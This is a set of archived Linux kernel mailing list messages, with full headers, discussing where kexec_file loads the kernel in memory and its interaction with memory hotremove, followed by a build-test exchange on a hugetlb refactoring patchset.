Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11180>

On 07/26/18 at 03:14pm, Michal Hocko wrote:
> On Thu 26-07-18 15:12:42, Michal Hocko wrote:
> > On Thu 26-07-18 21:09:04, Baoquan He wrote:
> > > On 07/26/18 at 02:59pm, Michal Hocko wrote:
> > > > On Wed 25-07-18 14:48:13, Baoquan He wrote:
> > > > > On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > > > > > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > > > > > Kexec has been a formal feature in our distro, and customers owning
> > > > > > > those kind of very large machine can make use of this feature to speed
> > > > > > > up the reboot process. On uefi machine, the kexec_file loading will
> > > > > > > search place to put kernel under 4G from top to down. As we know, the
> > > > > > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > > > > > it. It may have possibility to not be able to find a usable space for
> > > > > > > kernel/initrd. From the top down of the whole memory space, we don't
> > > > > > > have this worry. 
> > > > > > 
> > > > > > I do not have the full context here but let me note that you should be
> > > > > > careful when doing top-down reservation because you can easily get into
> > > > > > hotplugable memory and break the hotremove usecase. We even warn when
> > > > > > this is done. See memblock_find_in_range_node
> > > > > 
> > > > > Kexec read kernel/initrd file into buffer, just search usable positions
> > > > > for them to do the later copying. You can see below struct kexec_segment, 
> > > > > for the old kexec_load, kernel/initrd are read into user space buffer,
> > > > > the @buf stores the user space buffer address, @mem stores the position
> > > > > where kernel/initrd will be put. In kernel, it calls
> > > > > kimage_load_normal_segment() to copy user space buffer to intermediate
> > > > > pages which are allocated with flag GFP_KERNEL. These intermediate pages
> > > > > are recorded as entries, later when user execute "kexec -e" to trigger
> > > > > kexec jumping, it will do the final copying from the intermediate pages
> > > > > to the real destination pages which @mem pointed. Because we can't touch
> > > > > the existed data in 1st kernel when do kexec kernel loading. With my
> > > > > understanding, GFP_KERNEL will make those intermediate pages be
> > > > > allocated inside immovable area, it won't impact hotplugging. But the
> > > > > @mem we searched in the whole system RAM might be lost along with
> > > > > hotplug. Hence we need do kexec kernel again when hotplug event is
> > > > > detected.
> > > > 
> > > > I am not sure I am following. If @mem is placed at movable node then the
> > > > memory hotremove simply won't work, because we are seeing reserved pages
> > > > and do not know what to do about them. They are not migrateable.
> > > > Allocating intermediate pages from other nodes doesn't really help.
> > > 
> > > OK, I forgot the 2nd kernel which kexec jump into. It won't impact hotremove
> > > in 1st kernel, it does impact the kernel which kexec jump into if kernel
> > > is at top of system RAM and the top RAM is in movable node.
> > 
> > It will affect the 1st kernel (which does the memblock allocation
> > top-down) as well. For reasons mentioned above.
> 
> And btw. in the ideal world, we would restrict the memblock allocation
> top-down from the non-movable nodes. But I do not think we have that
> information ready at the time when the reservation is done.

Oh, you could mix kexec loading up with kdump kernel loading. For kdump
kernel, we need reserve memory region during bootup with memblock
allocator. For kexec loading, we just operate after system up, and do
not need to reserve any memmory region. About memory used to load them,
it's quite different way.

Thanks
Baoquan

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.hardware.nvdimm,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 16:01:52 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20180726140152.GM28386@dhcp22.suse.cz>
References: <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
 <20180726125957.GH28386@dhcp22.suse.cz>
 <20180726130904.GL6480@MiWiFi-R3L-srv>
 <20180726131242.GI28386@dhcp22.suse.cz>
 <20180726131420.GJ28386@dhcp22.suse.cz>
 <20180726133705.GM6480@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532613601 4734 195.159.176.226 (26 Jul 2018 14:00:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 14:00:01 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: nicolas.pitre@linaro.org, brijesh.singh@amd.com, devicetree@vger.kernel.org,
 airlied@linux.ie, linux-pci@vger.kernel.org, richard.weiyang@gmail.com,
 keith.busch@intel.com, jcmvbkbc@gmail.com, baiyaowei@cmss.chinamobile.com,
 frowand.list@gmail.com, dan.j.williams@intel.com, lorenzo.pieralisi@arm.com,
 sthemmin@microsoft.com, linux-nvdimm@lists.01.org,
 patrik.r.jakobsson@gmail.com, andy.shevchenko@gmail.com,
 linux-input@vger.kernel.org, gustavo@padovan.org, bp@suse.de,
 dyoung@redhat.com, vgoyal@redhat.com, thomas.lendacky@amd.com,
 haiyangz@microsoft.com, maarten.lankhorst@linux.intel.com,
 josh@joshtriplett.org, jglisse@redhat.com, robh+dt@kernel.org,
 seanpaul@chromium.org, bhelgaas@google.com, tglx@linutronix.de,
 yinghai@kernel.org, jonathan.derrick@intel.com, chris@zankel.net,
 monstr@monstr.eu, linux-parisc@vger.kernel.org, gregkh@linuxfoundation.org,
 dmitry.torokhov@gmail
To: Baoquan He <bhe@redhat.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Jul 26 15:59:52 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp3.osuosl.org ([140.211.166.136] helo=silver.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1figo4-000139-3a
	for glddd-devel@m.gmane.org; Thu, 26 Jul 2018 15:59:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by silver.osuosl.org (Postfix) with ESMTP id 2228B26DD5;
	Thu, 26 Jul 2018 14:02:02 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mJyT1knkgQPR; Thu, 26 Jul 2018 14:02:00 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by silver.osuosl.org (Postfix) with ESMTP id 7174D26E03;
	Thu, 26 Jul 2018 14:02:00 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 8DD931BF20F
 for <devel@linuxdriverproject.org>; Thu, 26 Jul 2018 14:01:59 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 8A4348697C
 for <devel@linuxdriverproject.org>; Thu, 26 Jul 2018 14:01:59 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id JO-IRc0Y3_Xg for <devel@linuxdriverproject.org>;
 Thu, 26 Jul 2018 14:01:58 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mx1.suse.de (mx2.suse.de [195.135.220.15])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id 8934C868D0
 for <devel@linuxdriverproject.org>; Thu, 26 Jul 2018 14:01:58 +0000 (UTC)
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
 by mx1.suse.de (Postfix) with ESMTP id 4722BAFC9;
 Thu, 26 Jul 2018 14:01:55 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180726133705.GM6480@MiWiFi-R3L-srv>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:120868 gmane.linux.drivers.devicetree:281573 gmane.linux.kernel.pci:74242 gmane.linux.hardware.nvdimm:11181 gmane.linux.kernel.input:62133 gmane.linux.ports.parisc:28820 gmane.linux.kernel.kexec:21300 gmane.linux.kernel:2831447 gmane.linux.ports.ppc64.devel:160464
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/120868>

On Thu 26-07-18 21:37:05, Baoquan He wrote:
> On 07/26/18 at 03:14pm, Michal Hocko wrote:
> > On Thu 26-07-18 15:12:42, Michal Hocko wrote:
> > > On Thu 26-07-18 21:09:04, Baoquan He wrote:
> > > > On 07/26/18 at 02:59pm, Michal Hocko wrote:
> > > > > On Wed 25-07-18 14:48:13, Baoquan He wrote:
> > > > > > On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > > > > > > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > > > > > > Kexec has been a formal feature in our distro, and customers owning
> > > > > > > > those kind of very large machine can make use of this feature to speed
> > > > > > > > up the reboot process. On uefi machine, the kexec_file loading will
> > > > > > > > search place to put kernel under 4G from top to down. As we know, the
> > > > > > > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > > > > > > it. It may have possibility to not be able to find a usable space for
> > > > > > > > kernel/initrd. From the top down of the whole memory space, we don't
> > > > > > > > have this worry. 
> > > > > > > 
> > > > > > > I do not have the full context here but let me note that you should be
> > > > > > > careful when doing top-down reservation because you can easily get into
> > > > > > > hotplugable memory and break the hotremove usecase. We even warn when
> > > > > > > this is done. See memblock_find_in_range_node
> > > > > > 
> > > > > > Kexec read kernel/initrd file into buffer, just search usable positions
> > > > > > for them to do the later copying. You can see below struct kexec_segment, 
> > > > > > for the old kexec_load, kernel/initrd are read into user space buffer,
> > > > > > the @buf stores the user space buffer address, @mem stores the position
> > > > > > where kernel/initrd will be put. In kernel, it calls
> > > > > > kimage_load_normal_segment() to copy user space buffer to intermediate
> > > > > > pages which are allocated with flag GFP_KERNEL. These intermediate pages
> > > > > > are recorded as entries, later when user execute "kexec -e" to trigger
> > > > > > kexec jumping, it will do the final copying from the intermediate pages
> > > > > > to the real destination pages which @mem pointed. Because we can't touch
> > > > > > the existed data in 1st kernel when do kexec kernel loading. With my
> > > > > > understanding, GFP_KERNEL will make those intermediate pages be
> > > > > > allocated inside immovable area, it won't impact hotplugging. But the
> > > > > > @mem we searched in the whole system RAM might be lost along with
> > > > > > hotplug. Hence we need do kexec kernel again when hotplug event is
> > > > > > detected.
> > > > > 
> > > > > I am not sure I am following. If @mem is placed at movable node then the
> > > > > memory hotremove simply won't work, because we are seeing reserved pages
> > > > > and do not know what to do about them. They are not migrateable.
> > > > > Allocating intermediate pages from other nodes doesn't really help.
> > > > 
> > > > OK, I forgot the 2nd kernel which kexec jump into. It won't impact hotremove
> > > > in 1st kernel, it does impact the kernel which kexec jump into if kernel
> > > > is at top of system RAM and the top RAM is in movable node.
> > > 
> > > It will affect the 1st kernel (which does the memblock allocation
> > > top-down) as well. For reasons mentioned above.
> > 
> > And btw. in the ideal world, we would restrict the memblock allocation
> > top-down from the non-movable nodes. But I do not think we have that
> > information ready at the time when the reservation is done.
> 
> Oh, you could mix kexec loading up with kdump kernel loading. For kdump
> kernel, we need reserve memory region during bootup with memblock
> allocator. For kexec loading, we just operate after system up, and do
> not need to reserve any memmory region. About memory used to load them,
> it's quite different way.

I didn't know about that. I thought both use the same underlying
reservation mechanism. My bad and sorry for the noise.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.input,gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.kexec
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 26 Jul 2018 23:10:25 +0800
Lines: 68
Approved: news@gmane.org
Message-ID: <20180726151025.GN6480@MiWiFi-R3L-srv>
References: <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180723143443.GD18181@dhcp22.suse.cz>
 <20180725064813.GI6480@MiWiFi-R3L-srv>
 <20180726125957.GH28386@dhcp22.suse.cz>
 <20180726130904.GL6480@MiWiFi-R3L-srv>
 <20180726131242.GI28386@dhcp22.suse.cz>
 <20180726131420.GJ28386@dhcp22.suse.cz>
 <20180726133705.GM6480@MiWiFi-R3L-srv>
 <20180726140152.GM28386@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1532617714 2776 195.159.176.226 (26 Jul 2018 15:08:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 15:08:34 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        linux-kernel@vger.kernel.org, robh+dt@kernel.org,
        dan.j.williams@intel.com, nicolas.pitre@linaro.org,
        josh@joshtriplett.org, fengguang.wu@intel.com, bp@suse.de,
        andy.shevchenko@gmail.com, patrik.r.jakobsson@gmail.com,
        airlied@linux.ie, kys@microsoft.com, haiyangz@microsoft.com,
        sthemmin@microsoft.com, dmitry.torokhov@gmail.com,
        frowand.list@gmail.com, keith.busch@intel.com,
        jonathan.derrick@intel.com, lorenzo.pieralisi@arm.com,
        bhelgaas@google.com, tglx@linutronix.de, brijesh.singh@amd.com,
        jglisse@redhat.com, thomas.lendacky@amd.com,
        gregkh@linuxfoundation.org, baiyaowei@cmss.chinamobile.com,
        richard.weiyang@gmail.com, devel@linuxdriverproject.org,
        linux-input@vger.kernel.org, linux-nvdimm@lists.01.org,
        devicetree@vger.kernel.org,
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 17:08:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fihsO-0000Wx-VZ
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 17:08:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731686AbeGZQ1u (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 12:27:50 -0400
Original-Received: from mx3-rdu2.redhat.com ([66.187.233.73]:58934 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1730105AbeGZQ1t (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 12:27:49 -0400
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.rdu2.redhat.com [10.11.54.5])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 52AE28197023;
        Thu, 26 Jul 2018 15:10:31 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id ADB1A1C65E;
        Thu, 26 Jul 2018 15:10:27 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180726140152.GM28386@dhcp22.suse.cz>
X-Scanned-By: MIMEDefang 2.79 on 10.11.54.5
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]); Thu, 26 Jul 2018 15:10:31 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]); Thu, 26 Jul 2018 15:10:31 +0000 (UTC) for IP:'10.11.54.5' DOMAIN:'int-mx05.intmail.prod.int.rdu2.redhat.com' HELO:'smtp.corp.redhat.com' FROM:'bhe@redhat.com' RCPT:''
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831499 gmane.linux.kernel.input:62134 gmane.linux.hardware.nvdimm:11182 gmane.linux.drivers.devicetree:281589 gmane.linux.kernel.pci:74243 gmane.linux.ports.parisc:28821 gmane.linux.ports.ppc64.devel:160466 gmane.linux.kernel.kexec:21301
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831499>

On 07/26/18 at 04:01pm, Michal Hocko wrote:
> On Thu 26-07-18 21:37:05, Baoquan He wrote:
> > On 07/26/18 at 03:14pm, Michal Hocko wrote:
> > > On Thu 26-07-18 15:12:42, Michal Hocko wrote:
> > > > On Thu 26-07-18 21:09:04, Baoquan He wrote:
> > > > > On 07/26/18 at 02:59pm, Michal Hocko wrote:
> > > > > > On Wed 25-07-18 14:48:13, Baoquan He wrote:
> > > > > > > On 07/23/18 at 04:34pm, Michal Hocko wrote:
> > > > > > > > On Thu 19-07-18 23:17:53, Baoquan He wrote:
> > > > > > > > > Kexec has been a formal feature in our distro, and customers owning
> > > > > > > > > those kind of very large machine can make use of this feature to speed
> > > > > > > > > up the reboot process. On uefi machine, the kexec_file loading will
> > > > > > > > > search place to put kernel under 4G from top to down. As we know, the
> > > > > > > > > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > > > > > > > > it. It may have possibility to not be able to find a usable space for
> > > > > > > > > kernel/initrd. From the top down of the whole memory space, we don't
> > > > > > > > > have this worry. 
> > > > > > > > 
> > > > > > > > I do not have the full context here but let me note that you should be
> > > > > > > > careful when doing top-down reservation because you can easily get into
> > > > > > > > hotplugable memory and break the hotremove usecase. We even warn when
> > > > > > > > this is done. See memblock_find_in_range_node
> > > > > > > 
> > > > > > > Kexec read kernel/initrd file into buffer, just search usable positions
> > > > > > > for them to do the later copying. You can see below struct kexec_segment, 
> > > > > > > for the old kexec_load, kernel/initrd are read into user space buffer,
> > > > > > > the @buf stores the user space buffer address, @mem stores the position
> > > > > > > where kernel/initrd will be put. In kernel, it calls
> > > > > > > kimage_load_normal_segment() to copy user space buffer to intermediate
> > > > > > > pages which are allocated with flag GFP_KERNEL. These intermediate pages
> > > > > > > are recorded as entries, later when user execute "kexec -e" to trigger
> > > > > > > kexec jumping, it will do the final copying from the intermediate pages
> > > > > > > to the real destination pages which @mem pointed. Because we can't touch
> > > > > > > the existed data in 1st kernel when do kexec kernel loading. With my
> > > > > > > understanding, GFP_KERNEL will make those intermediate pages be
> > > > > > > allocated inside immovable area, it won't impact hotplugging. But the
> > > > > > > @mem we searched in the whole system RAM might be lost along with
> > > > > > > hotplug. Hence we need do kexec kernel again when hotplug event is
> > > > > > > detected.
> > > > > > 
> > > > > > I am not sure I am following. If @mem is placed at movable node then the
> > > > > > memory hotremove simply won't work, because we are seeing reserved pages
> > > > > > and do not know what to do about them. They are not migrateable.
> > > > > > Allocating intermediate pages from other nodes doesn't really help.
> > > > > 
> > > > > OK, I forgot the 2nd kernel which kexec jump into. It won't impact hotremove
> > > > > in 1st kernel, it does impact the kernel which kexec jump into if kernel
> > > > > is at top of system RAM and the top RAM is in movable node.
> > > > 
> > > > It will affect the 1st kernel (which does the memblock allocation
> > > > top-down) as well. For reasons mentioned above.
> > > 
> > > And btw. in the ideal world, we would restrict the memblock allocation
> > > top-down from the non-movable nodes. But I do not think we have that
> > > information ready at the time when the reservation is done.
> > 
> > Oh, you could mix kexec loading up with kdump kernel loading. For kdump
> > kernel, we need reserve memory region during bootup with memblock
> > allocator. For kexec loading, we just operate after system up, and do
> > not need to reserve any memmory region. About memory used to load them,
> > it's quite different way.
> 
> I didn't know about that. I thought both use the same underlying
> reservation mechanism. My bad and sorry for the noise.

Not at all. It's truly confusing. I often need take time to recall those
details. 


From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: LEROY Christophe <christophe.leroy@c-s.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.ports.sh.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 17:13:55 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <20180726171355.Horde.KlFUG9wXmbRDCiyhk5bHsw8@messagerie.si.c-s.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
 <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1532617919 16233 195.159.176.226 (26 Jul 2018 15:11:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 15:11:59 +0000 (UTC)
User-Agent: Internet Messaging Program (IMP) H5 (6.2.3)
Cc: Mike Kravetz <mike.kravetz@oracle.com>, davem@davemloft.net,
        linuxppc-dev@lists.ozlabs.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        paul.burton@mips.com, ralf@linux-mips.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        tony.luck@intel.com, linux-arm-kernel@lists.infradead.org,
        tglx@linutronix.de, arnd@arndb.de, fenghua.yu@intel.com,
        jhogan@kernel.org, catalin.marinas@arm.com, mingo@redhat.com,
        linux@armlinux.org.uk, x86@kernel.org, deller@gmx.de,
        ysato@users.sourceforge.jp, linux-arch@vger.kernel.org,
        sparclinux@vger.kernel.org, hpa@zytor.com, paulus@samba.org,
        jejb@parisc-linux.org, will.deacon@arm.com,
        linux-sh@vger.kernel.org, linux-ia64@vger.kernel.org,
        dalias@libc.org, linux-mips@linux-mips.org,
        Michal Hocko <mhocko@kernel.org>,
        Michael Ell
To: Alex Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 17:11:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fihvk-00046w-7r
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 17:11:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731721AbeGZQbS convert rfc822-to-8bit (ORCPT
        <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 12:31:18 -0400
Original-Received: from pegase1.c-s.fr ([93.17.236.30]:5196 "EHLO pegase1.c-s.fr"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1729801AbeGZQbS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 12:31:18 -0400
Original-Received: from localhost (mailhub1-int [192.168.12.234])
        by localhost (Postfix) with ESMTP id 41bwbm5rqVz9tvPy;
        Thu, 26 Jul 2018 17:13:56 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at c-s.fr
Original-Received: from pegase1.c-s.fr ([192.168.12.234])
        by localhost (pegase1.c-s.fr [192.168.12.234]) (amavisd-new, port 10024)
        with ESMTP id lZx6amBsL99K; Thu, 26 Jul 2018 17:13:56 +0200 (CEST)
Original-Received: from vm-hermes.si.c-s.fr (vm-hermes.si.c-s.fr [192.168.25.253])
        by pegase1.c-s.fr (Postfix) with ESMTP id 41bwbm50yjz9tvPZ;
        Thu, 26 Jul 2018 17:13:56 +0200 (CEST)
Original-Received: by vm-hermes.si.c-s.fr (Postfix, from userid 33)
        id 79DD760A; Thu, 26 Jul 2018 17:13:55 +0200 (CEST)
Original-Received: from 37.173.173.60 ([37.173.173.60]) by messagerie.si.c-s.fr
 (Horde Framework) with HTTP; Thu, 26 Jul 2018 17:13:55 +0200
In-Reply-To: <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831503 gmane.linux.ports.ppc64.devel:160467 gmane.linux.ports.parisc:28822 gmane.linux.ports.arm.kernel:666186 gmane.linux.kernel.cross-arch:45493 gmane.linux.ports.sparc:28118 gmane.linux.ports.sh.devel:57257 gmane.linux.ports.ia64:28960 gmane.linux.ports.mips.general:65670
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831503>

Alex Ghiti <alex@ghiti.fr> a écrit :

> Hi everyone,
>
> This is the result of the build for all arches tackled in this  
> series rebased on 4.18-rc6:
>
> arm:
>         versatile_defconfig: without huge page OK
>         keystone_defconfig: with huge page OK
> arm64:
>         defconfig: with huge page OK
> ia64:
>         generic_defconfig: with huge page OK
> mips:
>         Paul Burton tested cavium octeon with huge page OK
> parisc:
>         generic-64bit_defconfig: with huge page does not link
>         generic-64bit_defconfig: without huge page does not link
>         BUT not because of this series, any feedback welcome.
> powerpc:
>         ppc64_defconfig: without huge page OK
>         ppc64_defconfig: with huge page OK

Can you also test ppc32 both with and without hugepage (mpc885_ads_defconfig)

Thanks
Christophe

> sh:
>         dreamcast_defconfig: with huge page OK
> sparc:
>         sparc32_defconfig: without huge page OK
> sparc64:
>         sparc64_defconfig: with huge page OK
> x86:
>         with huge page OK
>
> Alex
>
> On 07/23/2018 02:00 PM, Michael Ellerman wrote:
>> Alex Ghiti <alex@ghiti.fr> writes:
>>
>>> Does anyone have any suggestion about those patches ?
>> Cross compiling it for some non-x86 arches would be a good start :)
>>
>> There are cross compilers available here:
>>
>>   https://mirrors.edge.kernel.org/pub/tools/crosstool/
>>
>>
>> cheers
>>
>>> On 07/09/2018 02:16 PM, Michal Hocko wrote:
>>>> [CC hugetlb guys -  
>>>> http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>>>>
>>>> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>>>>> In order to reduce copy/paste of functions across architectures and then
>>>>> make riscv hugetlb port (and future ports) simpler and smaller, this
>>>>> patchset intends to factorize the numerous hugetlb primitives that are
>>>>> defined across all the architectures.
>>>>>
>>>>> Except for prepare_hugepage_range, this patchset moves the versions that
>>>>> are just pass-through to standard pte primitives into
>>>>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>>>>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>>>>
>>>>> s390 architecture has not been tackled in this serie since it does not
>>>>> use asm-generic/hugetlb.h at all.
>>>>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>>>>
>>>>> This patchset has been compiled on x86 only.
>>>>>
>>>>> Changelog:
>>>>>
>>>>> v4:
>>>>>    Fix powerpc build error due to misplacing of #include
>>>>>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>>>>    pointed by Christophe Leroy.
>>>>>
>>>>> v1, v2, v3:
>>>>>    Same version, just problems with email provider and misuse of
>>>>>    --batch-size option of git send-email
>>>>>
>>>>> Alexandre Ghiti (11):
>>>>>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>>>>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>>>>    hugetlb: Introduce generic version of set_huge_pte_at
>>>>>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
